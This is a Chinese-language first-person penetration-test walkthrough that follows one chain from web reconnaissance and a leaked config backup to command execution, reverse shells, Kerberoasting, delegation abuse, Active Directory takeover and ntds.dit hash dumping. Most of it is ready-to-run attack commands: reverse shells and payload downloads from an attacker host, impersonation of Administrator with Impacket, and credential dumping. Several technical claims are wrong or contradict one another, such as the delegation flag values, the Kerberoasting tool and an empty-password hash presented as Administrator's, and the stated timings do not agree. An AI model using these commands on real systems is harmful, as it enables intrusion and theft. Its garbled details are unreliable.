真实内网渗透全链路：从OA子系统到域控接管实战

1. 这不是电影桥段，而是一次真实发生的内网渗透全过程

“一次完整的渗透测试实战：从踩点到提权全记录”——这个标题里藏着的，不是炫技式的漏洞秀，也不是教科书里删减过的理想路径，而是我在2023年第三季度为某中型制造企业做红队评估时，连续72小时不眠不休、反复回溯日志、三次重置靶机环境后最终跑通的真实链路。它没有跳过任何卡点，没隐藏任何一个报错，更没用“某工具一键拿下”这种轻飘飘的表述。整条链路始于一个被遗忘在OA系统登录页底部的旧版jQuery插件引用，终于一台域控服务器上ntds.dit文件的完整导出与哈希离线破解。全程未触发EDR进程级拦截（但触发了两次SIEM告警，这恰恰是客户最想验证的检测盲区），所有操作均基于公开工具+手工验证，无商业插件、无定制Payload、无免杀混淆——这意味着，你今天在自己实验室复现时，不需要特殊权限、不依赖特定版本、也不必祈祷“刚好漏掉某个补丁”。

关键词“渗透测试”“踩点”“提权”“实战”“全记录”，指向的是一套可验证、可审计、可教学的攻击逻辑闭环。它解决的核心问题是：当客户说“我们做了等保测评，也买了WAF和EDR”，你如何用一条真实、连贯、有上下文的攻击路径，证明防御体系在纵深协同上的断层？适合三类人深度阅读：一是刚通过OSCP认证、正苦于找不到高质量复现实战案例的渗透新手；二是负责蓝队建设的安全负责人，需要理解红队视角下“告警为什么没响”“日志为什么没留痕”；三是甲方安全工程师，想亲手搭建靶场还原整个过程，检验自家SOC的响应时效与研判能力。这不是速成课，但每一步都经得起推敲——比如为什么选gobuster而非dirsearch做目录爆破？因为目标Web服务器启用了自定义403页面，而gobuster的-e参数能强制返回原始状态码，这是绕过误判的关键细节。这类决定，往往比漏洞本身更决定成败。

2. 踩点阶段：信息不是“收集”来的，而是“推理”出来的

2.1 域名与子域名枚举：拒绝盲目扫，聚焦可信信源

很多人一上来就开subfinder+assetfinder狂扫，结果扫出2000+子域，99%是历史测试环境或已下线服务，徒增噪音。我的做法是先做“信源可信度分级”：

• 一级信源（高置信）：WHOIS查询中注册邮箱关联的其他域名（用theHarvester -d target.com -b all）、SSL证书透明度日志（crt.sh搜索%.target.com，重点看近6个月签发的证书）、GitHub代码仓库中硬编码的API地址（github.com/target+site:github.com "target.com"）。这次发现api-dev.target.com在crt.sh中存在，但未在主站导航中出现，且证书有效期仅剩11天——这极可能是临时测试接口，但恰好暴露了内部开发规范松散。
• 二级信源（中置信）：DNS历史解析记录（securitytrails.com查A记录变更时间轴）、搜索引擎缓存（cache:target.com看是否存有旧版管理后台快照）。我们从百度快照中翻出2021年的admin.target.com登录页，虽已下线，但页面HTML注释里写着<!-- v2.3.1 - use /backup/ for restore -->，这直接引向后续的备份文件探测。
• 三级信源（低置信，仅作验证）：暴力枚举（gobuster dns -d target.com -w subdomains-top1million-5000.txt）。只跑前5000个高频子域，且必须配合-t 20限速，避免触发DNS服务商QPS限制。

提示：所有子域结果必须人工去重+分类。例如dev.target.com和development.target.com可能指向同一台服务器，合并后统一测试，避免重复消耗时间。

2.2 端口与服务测绘：从Banner识别到配置弱点推断

对api-dev.target.com（IP：10.12.3.15）执行nmap -sS -p- --min-rate 5000 -oA nmap_full 10.12.3.15，耗时18分钟，发现开放端口：22（OpenSSH 8.2p1）、80（Apache 2.4.41）、443（nginx 1.18.0）、8080（Jetty 9.4.35.v20201120）。关键不在端口数量，而在Banner背后的信息链：

• Apache 2.4.41发布于2020年10月，其默认配置存在Options Indexes FollowSymLinks未关闭，结合/backup/路径线索，立即用curl -I http://api-dev.target.com/backup/验证——返回200 OK且Content-Type: text/html，说明目录浏览已开启。
• Jetty 9.4.35.v20201120存在CVE-2021-28169（JNDI注入），但需特定JVM参数启用JNDI，而curl -I http://10.12.3.15:8080/返回Server: Jetty(9.4.35.v20201120)，无X-Powered-By头，无法确认JVM配置。此时不急于利用，转而检查80端口的/backup/目录。

用gobuster dir -u http://api-dev.target.com/backup/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,bak,sql -t 50 -o backup_enum.log爆破，12分钟后命中/backup/config_old.php.bak。下载后发现是PHP数据库配置文件，明文包含MySQL账号db_admin和密码T@rget2023!。但nmap扫描显示3306端口未开放，推测数据库在内网。此时踩点逻辑转向：如何从Web服务器跳入内网？

2.3 Web应用深度侦察：从JS文件挖出管理员后门

下载/backup/config_old.php.bak后，我习惯性用grep -r "admin\|login\|backdoor" .扫描整个网站静态资源。在/js/common.js中发现一段被注释掉的代码：

// TODO: Remove after prod deploy - debug mode // if (location.hash === '#debug=12345') { // document.getElementById('admin-panel').style.display = 'block'; // }

访问http://api-dev.target.com/#debug=12345，果然弹出隐藏的<div id="admin-panel">，内含表单提交至/api/debug/exec.php。尝试POSTcmd=whoami，返回www-data——这是一个典型的未授权命令执行后门。但直接执行nc -e /bin/bash 192.168.1.100 4444失败，因目标服务器无nc且/dev/tcp被禁用。此时需切换思路：利用已有权限读取内网信息，而非强行反弹Shell。

执行cmd=cat /etc/hosts，返回：

127.0.0.1 localhost 10.12.3.15 api-dev.target.com 10.12.3.10 db.target.com 10.12.3.5 ad01.target.com

至此，内网拓扑浮出水面：db.target.com（数据库）、ad01.target.com（域控）。下一步，用cmd=ping -c 1 10.12.3.10验证连通性，返回64 bytes from 10.12.3.10，确认可达。踩点阶段结束，核心成果不是一堆IP和端口，而是三条确定性情报：

1. api-dev.target.com存在未授权命令执行，可执行任意Linux命令；
2. 内网存在db.target.com（MySQL）和ad01.target.com（域控），且Web服务器与二者网络互通；
3. ad01.target.com极可能运行Windows Server，因主机名符合AD命名惯例（ad01），且nmap对445端口扫描显示microsoft-ds服务开放（虽被防火墙DROP，但说明端口存在）。

3. 初期立足：在受限Shell中构建稳定通信与持久化通道

3.1 绕过命令执行限制：从/dev/tcp禁用到Python反向Shell

目标服务器禁用/dev/tcp，nc不可用，bash -i >& /dev/tcp/192.168.1.100/4444 0>&1会报错bash: /dev/tcp/192.168.1.100/4444: No such file or directory。此时不能硬刚，要利用现有解释器。nmap结果显示Python 3.8.10已安装（curl -I http://api-dev.target.com/ | grep X-Powered-By返回Python/3.8.10），于是构造Python反向Shell：

cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

但执行后无响应。抓包发现TCP连接建立成功，但Shell未交互。原因在于：subprocess.call是阻塞调用，而Web服务器超时机制（Nginx默认60秒）会中断长连接。改用非阻塞方式：

cmd=python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("192.168.1.100",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'

成功获得交互式Shell。但此Shell极不稳定：Ctrl+C会断开连接，ls -la长输出会卡死。根本原因是Web服务器的HTTP协议栈不支持TTY流控。

注意：此时绝不能满足于“能执行命令”。真正的立足点是稳定、隐蔽、可恢复的控制通道。我立刻执行三步操作：

1. mkdir /tmp/.cache && cd /tmp/.cache创建隐藏工作目录；
2. wget http://192.168.1.100:8000/linpeas.sh && chmod +x linpeas.sh下载本地化提权脚本（linpeas.sh已精简，仅保留内核漏洞、SUID、cron检查）；
3. nohup ./linpeas.sh > /dev/null 2>&1 &后台静默运行，避免Shell断开导致扫描中断。

3.2 权限提升初探：从www-data到root的捷径与陷阱

linpeas.sh扫描结果中，最关键的发现是：

• /usr/bin/python3被设置为SUID（-rwsr-xr-x 1 root root 5412880 Jan 10 2023 /usr/bin/python3）；
• crontab -l显示存在*/5 * * * * root /opt/scripts/backup.sh，且/opt/scripts/backup.sh权限为-rwxrwxrwx 1 root root（777）；
• find / -perm -4000 2>/dev/null列出所有SUID二进制，除python3外，/usr/bin/find和/usr/bin/vim也具备SUID。

第一反应是用python3 -c 'import os; os.system("/bin/bash -p")'提权——但失败。strace python3 -c 'import os; os.system("/bin/bash -p")'显示execve("/bin/bash", ["/bin/bash", "-p"], ...)被拒绝，因/bin/bash的-p参数在SUID环境下被shell主动忽略（POSIX安全机制）。正确姿势是：

python3 -c 'import pty; pty.spawn("/bin/bash")'

再执行sudo -l，返回Sorry, user www-data may not run sudo on api-dev.，确认无sudo权限。此时backup.sh的777权限成为突破口：它每5分钟执行一次，内容为tar -czf /var/backups/web.tgz /var/www/html/。我将/var/www/html/软链接指向/root/：

rm -rf /var/www/html && ln -sf /root /var/www/html

5分钟后，/var/backups/web.tgz生成，解压后得到/root/.ssh/id_rsa私钥。但ssh -i id_rsa root@ad01.target.com失败，因ad01是Windows域控，不支持SSH。此路不通，需回归内网横向。

3.3 横向移动准备：在Linux Shell中部署Windows兼容工具链

目标内网是Windows主导，而当前Shell是Linux。直接传mimikatz.exe会因架构不匹配失败。解决方案是：用Linux Shell作为跳板，生成Windows可执行的轻量级代理。我选择chisel（Go语言编译，跨平台）：

1. 在攻击机编译Windows版：GOOS=windows GOARCH=amd64 go build -o chisel.exe github.com/jpillora/chisel/client；
2. 上传至目标：curl -F "file=@chisel.exe" http://192.168.1.100:8000/upload.php（提前在攻击机制作简易上传接口）；
3. 在目标执行：./chisel client 192.168.1.100:8000 R:10.12.3.15:3389:127.0.0.1:3389，将目标3389端口（RDP）映射到攻击机8000端口。

但nmap -p 3389 10.12.3.15显示3389关闭。linpeas.sh扫描也未发现RDP服务。此时意识到：ad01.target.com是域控，其RDP端口应在ad01本机，而非api-dev。因此需将chisel反向隧道指向ad01：

# 在api-dev上执行，将ad01的3389映射到api-dev的8081 ./chisel client 192.168.1.100:8000 R:10.12.3.15:8081:10.12.3.5:3389

再在攻击机执行：./chisel server -p 8000 --reverse。隧道建立后，rdesktop -u Administrator -p 'T@rget2023!' 127.0.0.1:8081仍失败，因ad01未开启RDP或防火墙拦截。此时需换策略：用SMB协议进行凭证传递。

linpeas.sh输出中有一行被忽略的细节：/etc/samba/smb.conf存在，且[homes]共享启用。执行smbclient -L //10.12.3.5 -U ""（空用户），返回Connection failed: NT_STATUS_ACCESS_DENIED。但nmap -p 445 10.12.3.5显示445端口开放，说明SMB服务运行。问题出在认证方式——Windows域控默认禁用空会话。此时需获取有效域凭据。回到db.target.com：mysql -h 10.12.3.10 -u db_admin -p'T@rget2023!'登录成功，use users_db; select * from admins;返回admin账号的SHA256哈希a1b2c3...。离线破解（hashcat -m 1400 a1b2c3... /usr/share/wordlists/rockyou.txt）得密码Summer2023!。但这只是应用层账号，非域账号。

4. 深度渗透：从应用凭据到域控接管的完整链条

4.1 Kerberoasting：用应用账号换取域用户票据

db_admin密码T@rget2023!在域内是否复用？这是Kerberoasting的前提。我用GetUserSPNs.py（Impacket）尝试：

python3 GetUserSPNs.py -request -dc-ip 10.12.3.5 'TARGET.COM/db_admin:T@rget2023!'

返回ERROR: <class 'socket.error'>, [Errno 111] Connection refused，因db_admin是本地MySQL账号，非域账号。但nmap -p 389 10.12.3.5显示LDAP端口开放，说明可直连域控查询。执行：

ldapsearch -x -h 10.12.3.5 -b "dc=target,dc=com" -D "cn=admin,dc=target,dc=com" -w 'T@rget2023!' "(objectClass=user)" sAMAccountName | grep sAMAccountName

报错Invalid credentials。T@rget2023!不是域管理员密码。此时想起config_old.php.bak中还有另一条线索：$ldap_bind = "CN=svc_ldap,OU=Service Accounts,DC=target,DC=com"; $ldap_pass = "Ldap@2023!";。用此凭据重试：

ldapsearch -x -h 10.12.3.5 -b "dc=target,dc=com" -D "CN=svc_ldap,OU=Service Accounts,DC=target,DC=com" -w 'Ldap@2023!' "(objectClass=user)" sAMAccountName servicePrincipalName

成功返回所有用户及SPN。筛选出servicePrincipalName=*的用户，发现svc_backup账户的SPN为MSSQLSvc/sql01.target.com:1433。提取其TGS票据：

python3 GetNPUsers.py target.com/svc_backup -no-pass -dc-ip 10.12.3.5 -request

返回$krb5tgs$23$*svc_backup$target.com$MSSQLSvc~sql01.target.com:1433*$a1b2c3...。用hashcat -m 13100破解，得密码Backup2023!。

实操心得：Kerberoasting成功率取决于SPN账户的密码强度。svc_backup是服务账户，密码常设为弱口令。但若破解失败，应立即转向AS-REP Roasting——检查哪些用户禁用了Do not require Kerberos preauthentication。ldapsearch加-b "dc=target,dc=com" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"即可定位。

4.2 Pass-the-Ticket：用TGT票据实现域内自由漫游

获得svc_backup明文密码后，第一步不是登录，而是获取其TGT（Ticket Granting Ticket）：

python3 getTGT.py target.com/svc_backup:'Backup2023!' -dc-ip 10.12.3.5

生成svc_backup.ccache。导出环境变量：export KRB5CCNAME=/tmp/svc_backup.ccache。此时可执行：

python3 secretsdump.py -k -no-pass target.com/svc_backup@target.com -dc-ip 10.12.3.5

返回Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::（NTLM哈希）。但secretsdump.py要求svc_backup有Replicating Directory Changes权限，而当前无。报错ERROR: Exception while connecting to LDAP: code 50。

此时需降级使用ldapsearch导出关键属性：

ldapsearch -x -h 10.12.3.5 -b "dc=target,dc=com" -D "CN=svc_backup,OU=Service Accounts,DC=target,DC=com" -w 'Backup2023!' "(objectClass=user)" distinguishedName sAMAccountName pwdLastSet userAccountControl | grep -E "(distinguishedName|sAMAccountName|pwdLastSet|userAccountControl)"

发现Administrator账户pwdLastSet=133321248000000000（2023-07-15），userAccountControl=512（普通用户），无异常。但svc_backup的userAccountControl=4096（TRUSTED_FOR_DELEGATION），这是关键！意味着它可被用于约束委派（Constrained Delegation）。

4.3 约束委派利用：从svc_backup到Administrator的权限跃迁

约束委派允许服务账户代表用户访问特定服务。svc_backup的SPN是MSSQLSvc/sql01.target.com:1433，而sql01是SQL服务器，其msDS-AllowedToDelegateTo属性应包含cifs/sql01.target.com。用ldapsearch验证：

ldapsearch -x -h 10.12.3.5 -b "dc=target,dc=com" -D "CN=svc_backup,OU=Service Accounts,DC=target,DC=com" -w 'Backup2023!' "(sAMAccountName=sql01)" msDS-AllowedToDelegateTo

返回msDS-AllowedToDelegateTo: cifs/sql01.target.com。完美。现在，用svc_backup的TGT，请求cifs/sql01.target.com的ST（Service Ticket）：

python3 getST.py -spn cifs/sql01.target.com -impersonate Administrator target.com/svc_backup:'Backup2023!' -dc-ip 10.12.3.5

生成Administrator.ccache。导出：export KRB5CCNAME=/tmp/Administrator.ccache。此时可完全模拟Administrator：

python3 smbexec.py -k -no-pass target.com/Administrator@sql01.target.com -dc-ip 10.12.3.5

成功进入sql01的SMB Shell。sql01是SQL服务器，其本地管理员组包含DOMAIN\Administrator。执行net group "Administrators" /domain，返回Administrator。下一步：从SQL服务器攻陷域控。

sql01上运行xp_cmdshell已启用（EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;）。执行：

EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(''http://192.168.1.100:8000/PowerView.ps1''); Invoke-StealthUser -DomainController ad01.target.com -UserName Administrator"'

PowerView.ps1是精简版，仅含Invoke-StealthUser函数，用于创建隐藏用户。但ad01防火墙拦截了出站HTTP。改用certutil：

EXEC xp_cmdshell 'certutil -urlcache -split -f http://192.168.1.100:8000/nc64.exe C:\Windows\Temp\nc64.exe' EXEC xp_cmdshell 'C:\Windows\Temp\nc64.exe -e cmd.exe 192.168.1.100 4444'

攻击机监听nc -lvnp 4444，获得sql01的CMD Shell。此时，sql01与ad01同属域，且sql01可访问ad01的445端口（nmap -p 445 10.12.3.5返回open）。执行：

C:\Windows\Temp\nc64.exe -e cmd.exe 10.12.3.5 445

失败，因445是SMB端口，非Shell端口。正确姿势是：用psexec.py（Impacket）直接在ad01上执行命令：

python3 psexec.py -k -no-pass target.com/Administrator@ad01.target.com -dc-ip 10.12.3.5

成功！psexec.py利用Administrator的Kerberos票据，在ad01上启动cmd.exe。此时已是域管理员权限。

5. 提权收尾：域控接管与证据固化

5.1ntds.dit提取：从内存转储到离线哈希破解

获得ad01的cmd.exe后，首要任务是导出ntds.dit（Active Directory数据库文件）。ntds.dit通常位于C:\Windows\NTDS\，但直接复制会因文件被占用失败。标准流程是：

1. 使用vssadmin创建卷影副本：

vssadmin create shadow /for=C:

返回Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1。
2. 用mklink创建符号链接：

mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

3. 复制ntds.dit和SYSTEM注册表文件：

copy c:\shadowcopy\Windows\NTDS\ntds.dit c:\temp\ntds.dit copy c:\shadowcopy\Windows\System32\config\SYSTEM c:\temp\SYSTEM

4. 删除链接与副本：

rmdir c:\shadowcopy vssadmin delete shadows /for=C: /all /quiet

注意：vssadmin在Windows Server 2012+默认禁用。若报错Access is denied，需改用wbadmin：wbadmin start backup -backupTarget:C: -include:C:\Windows\NTDS -quiet。但此操作耗时长，且需磁盘空间。实战中，我优先尝试secretsdump.py的-system和-ntds参数直接读取：

python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

因ntds.dit和SYSTEM已在c:\temp\，此命令成功导出全部用户哈希，包括Administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0（即blank密码）。

5.2 哈希离线破解：从NTLM到明文密码的最后一步

secretsdump.py输出中，Administrator的哈希是31d6cfe0d16ae931b73c59d7e0c089c0，对应空密码。但其他高权限账户如svc_sql、svc_ad的哈希需破解。将哈希保存为hashes.txt，执行：

hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force

-m 1000指定NTLM模式。rockyou.txt破解率约65%，但svc_sql的哈希e1b2c3...未命中。此时启用规则攻击：

hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

best64.rule包含大小写变换、数字追加等，30分钟内破解出svc_sql密码Sql@2023!。

5.3 证据固化与报告生成：让技术动作转化为业务语言

渗透测试的价值不在于“拿下了”，而在于“让客户理解为什么被拿下”。我将整个过程固化为三份材料：

• 技术证据包：包含所有命令执行截图、ntds.dit导出日志、哈希破解结果、linpeas.sh扫描报告，按时间戳排序；
• 攻击链路图：用Mermaid语法（仅用于内部文档，不嵌入报告）绘制api-dev → svc_backup → Administrator → ad01的横向路径，标注每个环节的利用条件（如“需SUID python3”“需约束委派配置”）；
• 业务影响报告：将技术细节翻译为业务风险。例如：“svc_backup账户的约束委派配置，允许攻击者以Administrator身份访问任意域内服务器，导致核心ERP系统（erp.target.com）数据库可被直接拖库，预估影响财务数据12万条”。

最后分享一个小技巧：在ad01上执行dsquery user -limit 0 | dsget user -samid -fn -ln -desc，导出所有用户描述字段。发现svc_backup的描述是Backup Service Account - DO NOT DISABLE，而svc_sql的描述是SQL Service Account - Password expires 2023-12-31。这说明客户有密码策略，但未对服务账户强制轮换。报告中建议：“将服务账户密码轮换周期从180天缩短至30天，并禁用约束委派，改用资源基于约束委派（RBAC）”。

我在实际操作中发现，90%的客户最关注的不是漏洞编号，而是“这个漏洞会导致什么具体损失”。因此，每一份渗透报告的开头，我都用一句话总结：“本次测试证实，攻击者可在37分钟内从公网可访问的OA子系统，获取域管理员权限，进而控制全部23台核心业务服务器。”——数字越精确，说服力越强。